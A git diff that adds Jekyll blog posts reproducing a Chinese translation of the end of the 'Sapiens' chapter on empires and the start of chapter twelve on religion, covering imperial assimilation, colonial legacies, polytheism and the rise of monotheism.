+想象一下，在努曼西亚灭亡后一世纪，出身良好的伊比利亚人会过着什么样的生活。首先，他虽然还是跟父母讲着当地的凯尔特语，但因为要做生意，要与政治上的高层沟通，所以他也是一口流利的拉丁语，只是稍微有点儿口音。他的妻子就像其他当地妇女一样，还是保留着一些凯尔特人的品位，喜欢各种装饰华美的小玩意儿，虽然他对妻子宠爱有加、样样照办，但心里还是希望她能够喜欢那些简单高雅的首饰，就像是个古罗马总督夫人一样。他自己穿着古罗马的束腰宽外衣，而且因为他对古罗马商业法律十分熟稔，他成了个贩牛的大商人，能够盖起一座古罗马风格的豪宅。然而，就算他甚至还能够背诵古罗马诗人弗吉尔（Virgil）的《农耕诗》（Georgics），古罗马人仍然觉得他就是个半野蛮人。他满腹委屈，知道自己一辈子也无法取得公职，也不可能在露天剧场拿到个真正好的位子。 +在19世纪末，许多受过教育的印度人也学到了同样的一课，只是这次另一方换成英国主人。有一则著名的逸事，讲的是有个印度人雄心勃勃，把英语学得无懈可击，上了西式舞蹈的课程，甚至还养成了用刀叉进食的习惯。他把这一切学好之后前往英格兰，在伦敦大学学院读法律，还成为一名合格的律师。然而，后来这个读法律的年轻人到了英属南非，穿着西装、打着领带，却因为坚持自己该坐头等车厢，而不是像他一样的“有色人种”该坐的三等车厢，便被赶下火车。这个人就是甘地。 +在某些案例中，文化的涵化（acculturation）与同化（assimilation）终于打破了新成员和旧精英之间的障碍。被征服者不再认为帝国是个外来占领他们的政体，而征服者也真心认为这些属民是自己帝国的一员。终于所有的“他们”都成了“我们”。就像是古罗马的臣民，在几世纪的帝国统治之后，终于都得到了古罗马公民权。非古罗马人也能成为古罗马军团的高阶军官，或是进入元老院。在公元48年，古罗马皇帝克劳狄乌斯（Claudius）任命几位高卢贤达人士进入元老院，并在一次演讲中提到这些人“从习俗、文化和婚姻关系已经和我们合而为一”。还是有些食古不化的元老，看到过去的敌人竟能进入古罗马政治核心，便大声抗议。但克劳狄乌斯又提醒他们某些无法忽视的真相。这些元老自己的家族，多半都来自一些也曾经反抗古罗马的意大利部落，后来才取得古罗马公民权。皇帝还提醒他们，就连皇帝自己的家族，也是来自意大利中部的萨宾人（Sabine）。63 +在公元2世纪，古罗马帝国的皇帝是个出生于伊比利亚半岛的人，血管里很可能至少也流着几滴伊比利亚的血液。古罗马帝国在图拉真（Trajan）、哈德良（Hadrian）、安敦尼（Antoninius Pius）和马可·奥勒留（Marcus Aurelius）这几任皇帝在位时，一般认为进入了古罗马的黄金时代。在这之后，已经完全没有任何民族的隔阂了。塞维鲁（Septimius Severus，193~211）是利比亚的迦太基人（Punic，意为“反叛”）后裔。埃拉伽巴路斯（Elagabalus，218~222）是叙利亚人。菲利普（Philip，244~249）一般还被称为“阿拉伯人菲利普”（Philip the Arab）。帝国的新公民热切拥抱着古罗马帝国的文化，所以即使帝国已经崩溃了上百甚至上千年，他们还是讲着帝国的语言，信着帝国从地中海东部发扬来的基督教上帝，也继续遵守着帝国的律法。 +阿拉伯帝国也有类似的过程。阿拉伯帝国公元7世纪中叶成立的时候阶层分明，上层是执政的阿拉伯–穆斯林精英，下层被压制的则是埃及人、叙利亚人、伊朗人和柏柏尔人（Berber），都既非阿拉伯人，也非穆斯林。于是，许多帝国的属民慢慢地改信伊斯兰教，讲着阿拉伯语，也接受了混合的帝国文化。旧世代的阿拉伯精英对于这些后起之秀深怀敌意，害怕会因此失去独特的地位和身份。至于归化的人也还不能得意，还需要不断争取在帝国和伊斯兰世界里的平等地位。最后，他们终于成功了。越来越多人将埃及人、叙利亚人、美索不达米亚人都视为“阿拉伯人”。至于阿拉伯人，不管是“纯正”来自阿拉伯还是由埃及和叙利亚新移入的阿拉伯人，也越来越常被非阿拉伯人的穆斯林所统治，特别是伊朗人、土耳其人和柏柏尔人。阿拉伯帝国计划最成功的地方，在于它所创造出的帝国文化深受非阿拉伯人的全心爱戴，即使是原本的帝国早已崩溃，阿拉伯民族也早已失势，帝国文化仍然能不断维持发展、传播不休。 +中国的帝国大计执行得更为成功彻底。中国地区原本有许许多多不同的族群和文化，全部统称为蛮族，但经过两千年之后，已经成功统合到中国文化，都成了中国的汉族（以公元前206年到公元220年的汉朝为名）。中国这个帝国的最高成就在于它仍然生龙活虎。有些人可能会怀疑它究竟算不算帝国，但只要看看偏远地区的西藏、新疆等地，就能知道此话不假。现在有超过九成的中国人口无论是自认或是在他人眼中，都算是汉族。 +而过去几十年间去殖民化的趋势，其实也是一样的道理。时间到了现代，欧洲人以“传播卓越西方文化”的幌子征服了全球，而且他们传播得如此成功，让数十亿人都开始接受西方文化的几项重要元素。例如印度人、非洲人、阿拉伯人、中国人、毛利人，就学了西方的法语、英语和西班牙语等等。他们开始相信人权和民族自决的原则，也接受了西方的意识形态，像是自由主义、资本主义、共产主义、女权主义和民族主义。 +到了20世纪，殖民地接受西方价值观之后，开始以其人之道还治其身之身，用同一套向殖民者要求平等的权利。许多反殖民斗争高举着民族自决、社会主义和人权的大旗，而这些概念正来自西方。过去埃及人、伊朗人和土耳其人采纳并调整了来自阿拉伯征服者的帝国文化，今天的印度人、非洲人和中国人也是接受了许多过去西方帝国占领后留下的文化，并且各依自己的需求和传统调整吸纳。 +帝国循环 +不同阶段 古罗马帝国 伊斯兰帝国 欧洲帝国主义 +一小群人建立一个大帝国 古罗马人建立古罗马帝国 阿拉伯人建立阿拉伯哈里发王朝 欧洲人建立欧洲帝国 +形成帝国文化 希腊–古罗马文化 阿拉伯–穆斯林文化 西方文化 +帝国文化得到属民认同接纳 属民接受拉丁文、古罗马法、古罗马的政治思想等等 属民接受阿拉伯语、伊斯兰教等等 属民接受英语和法语、社会主义、民族主义、人权等等 +属民以共同的帝国价值为名，要求平等的地位 伊利里亚人（Illyrian）、高卢人和迦太基人以古罗马的价值观，要求与古罗马人享有平等地位 埃及人、伊朗人和柏柏尔人以穆斯林的价值观，要求与阿拉伯人享有平等地位 印度人、中国人和非洲人以西方的价值观（如民族主义、社会主义和人权），要求与欧洲人享有平等地位 +帝国开国者失去主导地位 古罗马人不再是至高无上的族群，帝国的控制权转移到了由多民族精英组成的群体 阿拉伯人失去了对穆斯林世界的控制权，形成多民族的穆斯林精英族群 欧洲人失去了对全球的控制权，形成多民族的精英族群 +帝国文化继续蓬勃发展、发扬光大 伊利里亚人、高卢人和迦太基人继续发扬他们接受的古罗马文化 埃及人、伊朗人和柏柏尔人继续发扬他们接受的穆斯林文化 多半信奉着西方的价值观和思维印度人、中国人和非洲人继续发扬他们接受的西方文化 + +历史上的好人和坏人 +我们很容易想把所有人简单分成好人和坏人，而所有的帝国大概都会被归为坏人。毕竟，几乎所有帝国都是建立在鲜血之上，并且通过压制和战争来维持权力。然而，现今的文化又有大多数都是帝国的遗绪。如果帝国从定义上就是个坏东西，那我们又成了什么？ +有些学说和政治运动主张要把人类文化里的帝国主义成分全部洗净，只留下所谓纯净、真正的文明，不要受到帝国主义原罪的玷污。这种想法顶多就是一厢情愿；至于最坏的情况，则根本就是粗暴的民族主义和偏执狂，只是套上一层伪装。或许我们可以说，在历史曙光乍现的时候，有部分文化确实曾经纯净，没有受到帝国主义原罪和其他社会的玷污。但就在那道曙光之后，已经没有任何文化能够再提出这种主张；地球上现存的已经没有任何所谓纯净的文化。现存的所有人类文化，至少都有一部分是帝国和帝国文明的遗绪，任何以学术或政治为名的手术，如果想把所有帝国的部位一次切除，病人也就必然魂归九霄。 +举例来说，可以想想现在独立的印度与之前英属印度之间的爱恨情仇。英国征服占领印度的时候，数百万印度人因而丧命，更有上亿印度人遭到凌辱和剥削。然而，还是有许多印度人热切接受了像是民族自决和人权的西方思想；等到英国拒绝遵守这些价值、给予印度人平等权利的时候，他们更大为不满。 +然而，现代的印度仍然像是大英帝国的孩子。虽然英国人杀害、伤害、迫害了印度人，但也是英国人统一了印度大陆上原本错综复杂而互相交战的王国、公国和部落，建立起共同的民族意识，并形成一个或多或少以单一政治实体来运作的国家。英国人奠定了印度司法系统的基础，创立了印度的行政架构，还建立了对经济整合至关重要的铁路网。西方民主以英国为代表，而印度独立后也是以西方民主制度作为其政府形式。直到现在，英语仍是印度大陆的通用语言，让以北印度语（Hindi）、泰米尔语（Tamil）和马拉雅拉姆语（Malayalam）为母语的人都可以用这种中性的语言来沟通。印度人热衷于板球运动，也爱喝茶（chai），但这两者都是英国留下的。印度要到19世纪中叶，才由英国的东印度公司引进并开始出现商业茶园。正是那些势利眼的英国“阁下”（sahib），将喝茶的习惯传遍印度大陆。 +图18 孟买（Mumbai）的贾特拉帕蒂·希瓦吉（Chhatrapati Shivaji）火车站。一开始，在孟买还称为“Bombay”的时候，它叫作“维多利亚车站”（Victoria Station），由英国建造，采用19世纪晚期英国流行的新哥特式建筑。虽然车站是由外国来的殖民者建造，但后来有着民族主义思想的印度政府就算改了城市的名字、改了车站的名字，却还是保留了这座宏伟的建筑，并未将它铲平。 +今天会有多少印度人认为，为了去除帝国的一切，就该让大家来投票，看看是否应该抛弃民主、英语、铁路网、司法系统、板球和茶？就算真的成案了，光是“投票”这件事，不也得感谢过去殖民者的教导？ +就算我们真的要完全去除掉某个残暴帝国的遗绪，希望能够重建并维护在那之前的“纯正”文化，很有可能最后恢复的也不过是更之前、没那么残暴的帝国留下的文化。就像是有些人对于英国阁下在印度留下的文化十分反感，一心除之而后快，但在无意中恢复的却是同属征服者的莫卧儿帝国以及德里苏丹国（Sultanate of Delhi）的文化。而且，如果想再消除这些穆斯林帝国的影响，恢复“纯正印度文化”，恢复的又是笈多帝国（Gupta Empire）、贵霜帝国（Kushan Empire）和孔雀王朝的文化。如果极端印度民族主义要摧毁所有由英国征服者留下的建筑（像是孟买火车站），那像是泰姬玛哈陵这种由穆斯林征服者留下的建筑，又该如何？ +没有人真正知道该如何解决文化遗绪这个棘手的问题。无论采取哪一种方式，第一步就是认清这种两难的复杂程度，知道历史就是无法简单分成好人和坏人两种。当然，除非我们愿意承认，自己常常就是跟着走坏人的路。 +图19 泰姬玛哈陵。这究竟算是“纯正”的印度文化，还是外来的穆斯林帝国主义建筑？ +全新的全球帝国 +自公元前200年左右，大多数人已经都活在各个帝国之中。看来，未来很可能所有人类就是活在单一的帝国之下，而且这会是个真正的全球性帝国。统一全球这件事，很可能已经离我们不远。 +时间来到21世纪，民族主义正在迅速失去地位。越来越多人相信，真正的政治权威应该是来自所有人类，而不是某个特定国籍的成员，而人类政治的方向也该是保障人权，维护全人类的利益。如果确实如此，那么现在全球有将近两百个独立国家，就反而形成阻碍。如果不管是瑞典、印度尼西亚或阿尔及利亚都该有同样的人权，那么让某个单一的全球性政府来保护它们，岂不更加简单？ +而且，现在出现像是冰冠融化这种全球性问题，也正在侵蚀各个独立民族国家本身的合法性。毕竟，没有任何主权国家能够独力解决全球暖化的问题。中国人所称的“天命”，正是要解决全人类的问题。而现代的天命，也真的就得解决天上的问题，像是臭氧层破洞和温室气体的累积。未来的全球帝国，很有可能正是环保当道。 +到了2014年，世界政治基本上仍是各行其政，但国家的独立性正在迅速消失。没有任何国家能够行使真正独立的经济政策，任意发动战争，甚至连国家内政也无法完全独立决定。对于全球市场的阴谋，各个国家也只能逐步开放，逐渐面对全球企业和非政府组织的干扰，还得面对全球舆论的监督和国际司法的干涉。各国也得遵守全球在财政、环保和法律上的标准。资金、劳动力和信息构成一股无比强大的潮流，翻转并形塑着现在的世界，国家本身的疆域和意见已经逐渐失势。 +我们眼下正在形成的全球帝国，并不受任何特定的国家或族群管辖。就像古罗马帝国晚期，它是由多民族的精英共同统治，并且是由共同的文化和共同的利益结合。在世界各地，越来越多企业家、工程师、专家、学者、律师和经理人得到召唤，一起加入这个帝国。他们必须面对的问题，就是究竟该响应这个帝国的召唤，还是要忠于自己的国家和人民？而且，越来越多的人已经投入了帝国的一方。 diff --git a/_posts/2017-01-06-204-sapiens-cp12.md b/_posts/2017-01-06-204-sapiens-cp12.md new file mode 100644 index 0000000..18728e8 --- /dev/null +++ b/_posts/2017-01-06-204-sapiens-cp12.md @@ -0,0 +1,108 @@ +--- +layout: post +title: 第十二章宗教的法则 +pid: 204 +tags: [人类简史：从动物到上帝] +--- +第十二章 +宗教的法则 +历史古城撒马尔罕（Samarkand）位于中亚的一片绿洲中。中世纪时，这里的市场上有叙利亚商人，手指抚着滑顺的中国丝绸，也有来自东非草原的粗鲁部落男子，带来最新一批头发乱如稻草、来自遥远西部的奴隶，至于店主的口袋里则是满满的闪亮的金币，印有异国的文字和不知哪来的国王肖像。这里在中世纪可说是南来北往、东西交流的主要十字路口，来自各方的人融合在这里稀松平常。而在1281年，忽必烈挥军前往日本，也看得到相同的情形。蒙古骑兵穿着毛皮，身边就是中国步兵戴着斗笠，还有高丽来的援军，和来自南海而有文身的水手一言不合打了起来，另外还有欧洲冒险家讲着故事，让来自中亚的工兵听得张大了嘴；而这所有人，都是听命于同一位帝王。 +与此同时，在麦加圣寺内的卡巴圣堂，人类也以另一种方式融合统一。如果你在公元1300年前往麦加朝圣，绕行这个伊斯兰教最神圣的圣地，你可能会发现身边有美索不达米亚人，他们的长袍在风中飞舞，眼神炽烈而狂喜，嘴里念着真主的99个大名。就在前面，你可能也会看到一个饱经风霜、来自亚洲草原的土耳其族长，手拿拐杖、步履蹒跚，还若有所思地摸着胡子。在另一边，有黄金首饰在黝黑的皮肤上闪耀着，可能是一群来自非洲马利（Mali）王国的穆斯林。至于一闻到丁香、姜黄、豆蔻和海盐的香气，就知道这群兄弟大概是来自印度，又或是更东边神秘的香料群岛。 +我们今天常认为宗教造成的是歧视、争端、分裂。但在金钱和帝国之外，宗教正是第三种让人类统一的力量。正因为所有的社会秩序和阶级都只是想象的产物，所以它们也十分脆弱，而且社会规模越大，反而就越脆弱。而在历史上，宗教的重要性就在于让这些脆弱的架构有了超人类的合法性。有了宗教之后，就能说法律并不只是人类自己的设计和想象，而是来自一种绝对的神圣最高权柄。这样一来，至少某些基本的法则便不容动摇，从而确保社会稳定。 +因此，我们可以说宗教是“一种人类规范及价值观的系统，建立在超人类的秩序之上”。这里有两大基本要素： +（1）宗教认为世界有一种超人类的秩序，而且并非出于人类的想象或是协议。例如职业足球不是宗教，因为虽然足球也有许多规则、仪式和常常很古怪的惯例，但大家都知道是人类发明了足球，而且国际足协（FIFA）随时可能开会决定把球门变大或是取消越位规则。 +（2）以这种超人类的秩序为基础，宗教会发展出它认为具有约束力的规范和价值观。例如，虽然现在许多西方人相信鬼魂、精灵、重生，但这些信念并未构成什么道德和行为的标准，所以也就不算是宗教。 +虽然宗教有可能让各种社会和政治秩序合法化，但并不是所有宗教都能做到这点。某个宗教如果想要将幅员广阔、族群各异的人群都收归旗下，就还必须具备另外两种特质。第一，它信奉的超人类秩序必须普世皆同，不论时空而永恒为真。第二，它还必须坚定地将这种信念传播给大众。换句话说，宗教必须同时具备“普世特质”和“推广特质”。 +像是伊斯兰教和佛教这些最为人所知的宗教，就同时具备普世特质和推广特质，但也常让我们误以为所有宗教都是如此。但其实，多数古代宗教反而是具备“区域特质”与“排他特质”，信众只信奉当地的神灵，而且也没有意愿将信仰推己及人。据我们所知，要到了公元前1000年间，才开始出现具备普世和推广特质的宗教。这可以说是史上最重要的革命之一，对于人类的统一有重大贡献，绝不亚于帝国或金钱。 +让羔羊变得沉默 +在过去以泛神论为主要信仰体系的时候，人类的规范和价值观不能只想到自己，还必须考虑其他动物、植物、精灵和鬼魂的想法和利益。像是在恒河流域的某个采集部落可能会禁止砍倒某棵特别高大的无花果树，以免无花果树的树神生气报复。但在印度河流域的另一个采集部落可能会禁止猎捕白尾的狐狸，因为过去曾经有一只白尾狐狸带着部落的先知发现了珍贵的黑曜石。 +像这样的宗教往往单纯以地方为考虑，只着重当地的位置、气候和现象。毕竟，多数采集部落毕生的活动范围不会超过1000平方公里。为求生存，住在某个特定山谷里的居民，需要了解的就是关于这个山谷的超人类秩序，并调整自己的行为，自然也就没有必要试着说服某些遥远山谷里的居民遵循相同的规则。像是印度河部落的人，就绝不会派传教士到恒河部落去鼓吹别猎捕白尾狐狸。 +农业革命开始，宗教革命便随之而来。狩猎采集者采集植物、猎捕动物，但认为动植物和人类拥有平等的地位。虽然人类猎杀绵羊，但并不代表绵羊就不如人类；就像是老虎猎杀人类，但不代表人类就不如老虎一样。所以，万物众生都是直接与彼此沟通，协商关于这个共同栖息地的种种规则。相较之下，农民拥有、控制着农场上的动植物，可不会纾尊降贵去和自己的财产沟通协商。因此，农业革命最初的宗教意义，就是让动植物从与人类平等的生物，变成了人类的所有物。 +然而，这又造成了一大难题。农民希望能对自己的羊有绝对的控制权，但他们也很清楚，自己的控制十分有限。虽然他们可以把羊圈起来，可以把公羊阉了，可以强迫羊配种，但还是无法保证母羊能怀孕、生下健康的羔羊，也不能够阻止致命流行病的爆发。到底要怎么样，才能确保羊群繁衍壮大？ +讲到“神”这种概念的起源，一种主要理论就认为，神之所以重要，就正在于他们可以解决这个重大问题。在人类不再认为可以和动植物直接沟通之后，就开始出现掌管生育、掌管气候、掌管医药的各种神灵概念，好替人类和这些沉默的动植物沟通协商。很多古代神话其实就是一种法律契约，人类承诺要永远崇敬某些神灵，换取人类对其他动植物的控制权；例如《圣经·创世记》第一章就是一个典型的例子。在农业革命几千年后，宗教礼仪主要就是由人类将羔羊、酒、糕点牺牲献祭给神灵，换取神灵保佑五谷丰登、六畜兴旺。 +一开始，农业革命对于泛神论系统的其他成员（像是石神、水神、鬼魂和恶魔）几乎没什么影响。然而，随着人类喜新厌旧，这些神也逐渐失去地位。过去人类一辈子的生活范围大概就是几百平方公里，多数需求只要靠着当地的神灵就能解决。但随着王国和贸易网络开始扩展，光是地方的神灵已经力有未逮，人类需要的神力必须涵盖整个王国或整个贸易网络。 +因应这种需求，多神教（polytheistic）信仰便应运而生。（polytheistic为希腊文，poly=多，theos=神）这些宗教认为世界是由一群神威浩荡的神灵控制，有的掌管生育，有的掌管雨水，有的掌管战争。人类向这些神灵祈祷，而神灵得到奉献和牺牲之后，就可能赐予人类健康、雨水和胜利。 +多神教出现之后，泛神论并非完全消失。几乎所有的多神教，都还是会有恶魔、精灵、鬼魂、圣石、圣泉、圣树之类的神灵，虽然这些神灵的重要性远不及那些重要的大神，但对于许多一般人民的世俗需求来说，它们也还算实用。某个国王可能在首都献上几十只肥美的羔羊，祈求打败野蛮人、赢得胜利；但同时某个农夫是在自己的小屋里点根蜡烛，向某位无花果树仙祷告，希望它能治好儿子的病。 +然而，出现了大神之后，影响最大的不在于羔羊或恶魔，而在于智人的地位。对泛神论者来说，人类只是地球上众多生物的一种。但对多神教徒来说，整个世界就像是反映了神和人类的关系。人类的祷告、献祭、罪孽和善行，就会决定整个生态系统的命运。所以，光是因为几个愚蠢的智人做了些让神生气的事，就可能引发大洪水，消灭了数十亿的蚂蚁、蝗虫、乌龟、羚羊、长颈鹿和大象。所以，多神教提高的除了神的地位，更有人的地位。至于远古那些泛神论的神灵，有些比较不幸的就失去了它们的地位，在这场人神关系的大戏里成了临时演员，甚至只是沉默的装饰品。 +偶像崇拜的好处 +一神教为时两千多年的洗脑，让大多数西方人都认为多神教就是些无知幼稚的偶像崇拜。但这是一个不公平的刻板印象。想了解多神教的内在逻辑，就必须先了解这种同时信仰多位神灵的中心思想。 +多神教并不一定认为宇宙没有单一的权柄或法则。大多数的多神论甚至泛神论，都还是认为有一个最高的权柄，高于所有其他神灵、恶魔或是神圣的石头公。在古希腊多神教的神话中，不管是天帝宙斯、天后赫拉、太阳神阿波罗或是他们的同事，都还是得臣服于神威无穷、无所不在的“命运女神”（Moira或Ananke）。至于北欧诸神也逃脱不了命运的掌握，最后在“诸神的黄昏”（Ragnar?k）这场灾难中灭亡。在西非约鲁巴人（Yoruba）的多神信仰中，所有神灵都是至上神（Olodumare）所生，而且臣服于他。印度教属于多神教，但也是以“阿特曼”（Atman，又译“梵”）这个单一的原则主宰着无数的神灵、人类，以及生物和实质的世界。“阿特曼”指的是整个宇宙、每个人或每个现象永恒的本质或灵魂。 +真正让多神论与一神论不同的观点，在于多神论认为主宰世界的最高权力不带有任何私心或偏见，因此对于人类各种世俗的欲望、担心和忧虑毫不在意。因此，要向这个最高权力祈求战争胜利、健康或下雨，可以说是完全没有意义，因为从他全知全观的角度来说，某个王国的战争输赢、某个城市的兴衰胜败，又或是某个人的生老病死，根本不构成任何差别。希腊人不会浪费祭品去祭拜命运女神，而印度教徒也并未兴建寺庙来祭拜阿特曼。 +要接近这个宇宙至高的权力，就代表要放下所有的欲望、接受福祸共存的事实，坦然面对失败、贫穷、疾病和死亡。因此，印度教徒有一种“苦行僧”（Sadhu或Sannyasis），奉献自己的生命，希望能与阿特曼合而为一，达到“梵我一如”的境界。苦行僧以阿特曼的观点来看这个世界，认识到从永恒的角度来看，所有世俗的欲望和恐惧都如梦幻泡影。 +只不过，大多数的印度教徒都不是苦行僧，而还是深深陷在世俗的考虑之中，但这下阿特曼就帮不上什么忙了。讲到这种问题，印度教徒还是得找那些专精某些领域的神才行。这些神只专精某些领域，而不是无所不包，所以有掌管福德的象神（Ganesha）、财神（Lakshmi）和智慧神（Saraswati）等等，但这些神都还是各有私心和偏见。这样一来，人类就可以和这些神谈谈交易，靠神的帮助来赢得战争、打倒疾病。像这样的低位神灵数量繁多；因为只要开始把全知全能、位阶最高的权柄开始分类，可以想见必会分出不止一位神灵。于是多神的系统由此诞生。 +从多神教的概念向外推导，结果就是影响深远的宗教宽容。一方面，多神教徒相信有一个至高无上、完全无私的神灵；但另一方面，多神教徒也相信有许多各有领域、心有偏见的神灵，所以对于某个神的信徒来说，很容易能相信有其他神灵存在，而且也相信其他神灵同样神通广大。多神论本质上就属于开明，很少迫害异教徒。 +就算多神教征服了其他大帝国，也未曾要求属民改变信仰。像是埃及人、古罗马人和阿兹特克人，都不曾派遣传教士到异地鼓吹崇拜冥王奥西里斯（Osiris）、天帝朱庇特（Jupiter）或是太阳神维齐洛波奇特利（Huitzilopochtli，他是阿兹特克文明的主神），当然也就更不可能派军队前往武力镇压。而帝国也各有自己的守护神和宗教仪式，保护着帝国，维系其合法性，所以帝国的属民也应该要尊重这些神灵和仪式，只是无须放弃自己当地的神灵和仪式。以阿兹特克帝国为例，虽然属民必须建造敬拜维齐洛波奇特利的神庙，但这些神庙是与崇拜地方神灵的神庙同时存在，而不是取而代之。很多时候，帝国精英本身也会接受地方属民的神灵和仪式。例如古罗马人，就让来自亚洲的赛贝尔（Cybele）和来自埃及的伊西斯（Isis）都进了他们的万神殿。 +古罗马人唯一长期以来不愿接受的，只有属于一神信仰并坚持要传福音的基督教。古罗马帝国并未要求基督徒放弃他们的信仰和仪式，只希望他们同时尊重帝国的守护神，并承认皇帝也有神性。这点可说是在政治上忠诚的声明。然而，基督徒强烈拒绝，并且完全没有任何妥协的空间，这对古罗马人来说就是个在政治上搞颠覆的举动，必须加以镇压。但即使如此，这些镇压多半也只是表面形式。从基督被钉死在十字架上到古罗马皇帝君士坦丁改信基督教，这300多年间，古罗马皇帝所发起对基督徒的大型迫害不过四次。至于地方长官和总督也曾经另外发起一些反基督教的暴力行为。 +然而事实证明，就算把这些迫害的所有受害者全部加起来，在这3个世纪间，多神教古罗马处决基督徒的人数不超过几千人。64但相对的是，在接下来的1500年间，虽然基督教号称主张爱与怜悯，但仅仅对信仰的诠释有些许差异，就引发基督徒自相残杀，死亡人数达到数百万。 + +其中最恶名昭彰的，就是在16、17世纪间席卷欧洲的天主教与新教徒之战。所有这些人都相信基督的神性，也相信他关于爱和怜悯的福音，只是对于“爱”的本质意见不合。新教徒认为，神如此爱着世人，所以让自己化为肉体，容许自己受到折磨、钉死在十字架上，从而赎了原罪，并对那些信他的人打开了天堂的大门。而天主教徒认为，虽然信仰是必要的，但光这样还不够。要进入天国，信徒还必须参加教堂礼拜，而且要多行善事。这点让新教徒无法接受，认为这样形同交易，对于神的爱和伟大是种贬抑。如果进不进天堂必须取决于自己的善行，岂不是放大了自己的重要性，而且暗示基督在十字架上为人类受的苦以及神对人类的爱都还不够？ +这些神学争论愈演愈烈，最后在16、17世纪间，天主教徒和新教徒彼此杀红了眼，造成几十万人丧命。1572年8月23日，强调个人善行的法国天主教徒，袭击了强调上帝之爱的法国新教徒。这场攻击称为圣巴塞洛缪节大屠杀（St. Bartholomew’s Day Massacre），短短24小时间，就有5000到10000个新教徒遭到屠杀。消息从法国传到古罗马的天主教教皇耳里，叫他满心欢喜，立刻安排举行庆典，还委托瓦萨里（Giorgio Vasari）在梵蒂冈的一个房间里将这场大屠杀绘成壁画作为纪念（目前这个房间禁止游客参观）。65不过24小时，基督徒自相残杀的人数，就已经超过了整个古罗马帝国曾经杀害的基督徒人数。 +神是唯一 +随着时间过去，某些多神论者开始对自己信仰的某位神灵越来越虔诚，也慢慢远离了基本的多神论概念，开始相信只有那位神灵是唯一的神，相信他是宇宙的最高权柄。但同一时间，他们还是认为神有私心和偏见，让人类可以和神谈谈条件。于是，在这样形成的一神论宗教里，信徒就能够直接祈求宇宙至高无上的权力来帮忙治病、中乐透或是打赢一场战争。 +目前所知的第一个一神论宗教出现于公元前1350年，埃及法老阿肯那顿（Akhenaten）宣布，当时在埃及众神里一位位阶并不高的小神阿顿（Aten）其实是宇宙的至尊。阿肯那顿将对阿顿的崇拜制度化为国教，还打算打压对所有其他神的崇拜。然而，他的宗教革命并未成功。他去世后，对阿顿的信仰就遭到废止，又回到过去的情形，众神同列仙班。 +不论在何处，多神教都不断衍生出各种一神论宗教，但由于这些宗教无法放下唯我独尊的中心思想，所以一直只能处于边陲地位。以犹太教为例，仍然认为全宇宙至高的神还是有私心和偏见，而且关爱的眼神全在一小撮犹太民族和以色列这蕞尔之地。于是对其他国家来说，信奉犹太教几乎是有弊而无利，而且犹太教一直也没有推广到其他地方的打算。这种阶段可以称为“本地一神教”。 +到了基督教，终于有了重大突破。基督教一开始只是犹太教的一个神秘教派，该教派信徒想说服犹太人，拿撒勒人耶稣就是他们期待已久的弥赛亚。这个教派最早的领导者之一是来自大数（Tarsus）的保罗，他认为宇宙的至高神有私心偏见，对人类并非漠不关心，而且他甚至还化为肉身，为了人类的救赎被钉死在十字架上，这种事不该只有犹太人知道，而应该让全人类都了解。于是，就有必要将关于耶稣的好事（也就是“福音”）传到世界各地。 +保罗的这个想法开枝散叶，基督徒开始组织起了对所有人类的传教活动。而在一场史上最意想不到的转折下，这个犹太教的神秘教派接掌了强大的古罗马帝国。 +基督教的成功，在7世纪的阿拉伯半岛成了另一个一神论宗教的典范，伊斯兰教于焉而生。就像基督教，伊斯兰教一开始也只是地球上某个偏远角落的小宗教，但它又以更意想不到也更快速的脚步，打破了阿拉伯沙漠的隔绝，收服了幅员从大西洋一直延伸到印度的庞大帝国。自此之后，一神论的概念就在世界历史上扮演了重要角色。 +一般而言，一神教徒比多神教徒更为狂热、更热衷传教。毕竟，如果某个宗教愿意承认其他信仰，情况只有两种：第一种本来就认为世上没有唯一的神，而是有许多神同时存在；第二种认为虽然有一位最高的神，但下面分成许多小神祇，信仰每位神祇，可以说是看到了部分的真相。但由于一神教通常认为自己信奉的就是唯一的神，也认为只有自己看到了完整的真相，自然就会批评其他所有宗教都不可信。在过去两千年间，一神论者多次发动以暴力消灭其他竞争对手的战争，目的就是要加强自己的掌控。 +而且很有效。在公元1世纪初，世界上几乎没有任何一神论的宗教。到了公元500年左右，基督教已经收服了全球最大的古罗马帝国，传教士忙着将基督教传播到欧洲、亚洲和非洲其他地区。等到第一个千禧年结束，欧洲、西亚和北非的人们已经多半都信奉着一神教，从大西洋到喜马拉雅山都主张上帝是唯一的神。到了16世纪初，除了东亚和非洲南部，一神论已经掌控了亚非的绝大部分，而且开始向南非、美洲和大洋洲发展。到了今天，除了东亚以外的大多数人不论信仰为何，多半都属于一神论的宗教，而且全球政治秩序也正是以一神论为基础而建立。 +然而，就像是泛神论会继续在多神论里延续，多神论也继续在一神论里存活。理论上来说，如果我们相信宇宙只有一个至高的神，而他也愿意关心你，那又何必崇拜某些只掌管特定领域的神呢？如果你可以大摇大摆走进总统府要总统帮忙，又何必去求某个低阶小公务员呢？确实，一神论的神学多半认为只有一个至高的神，其他任何神祇都是虚假的，如果竟有人敢崇拜伪神，地狱的火焰和硫黄就会在他们身上燃烧。 +地图4 基督教和伊斯兰教的传播。 +然而，神学理论和历史现实一向大不相同。大多数人很难完全接受一神论的想法，还是继续把世界分为“我们”和“他们”，也觉得所谓至高的神实在太遥远陌生，管不到自己世俗的需求。最后的情况可以说就是，一神论宗教大张旗鼓把其他神祇从大门赶了出去，但又从旁边的小窗把他们迎了回来。以基督教为例，就发展出了自己的圣人系统，但这套系统可说和多神教几乎殊无二致。 +正如古罗马帝国的主神是朱庇特、阿兹特克帝国的主神是维齐洛波奇特利，每个基督宗教国家也有自己的守护圣人，协助解决困难、赢得战争。英格兰的守护圣人是圣乔治，苏格兰是圣安德鲁，匈牙利是圣史蒂芬，而法国是圣马丁。而不论是大城、小镇、职业甚至疾病，也都各有负责守护的圣人。像是意大利米兰有圣安布鲁瓦兹负责守护，威尼斯则有圣马克负责照料。圣阿尔莫守护着烟囱清洁工的安全，圣马修抚慰着收税员的烦恼。如果你头痛，该找圣亚贾西亚；但如果痛的是牙，圣阿波罗尼亚就更对症下药。 +这样看来，基督教的圣人和多神教的那些神祇几乎没有两样。但很多时候甚至还不只是类似而已，而根本就是这些神祇的伪装。举例来说，在信奉基督宗教之前，爱尔兰的主神是女神布里基德。等到爱尔兰被基督教化，就连布里基德也仿佛受了洗一样，成了“圣布里基德”。而且直到今天，还是天主教爱尔兰最受尊崇的圣人。 +善恶之战 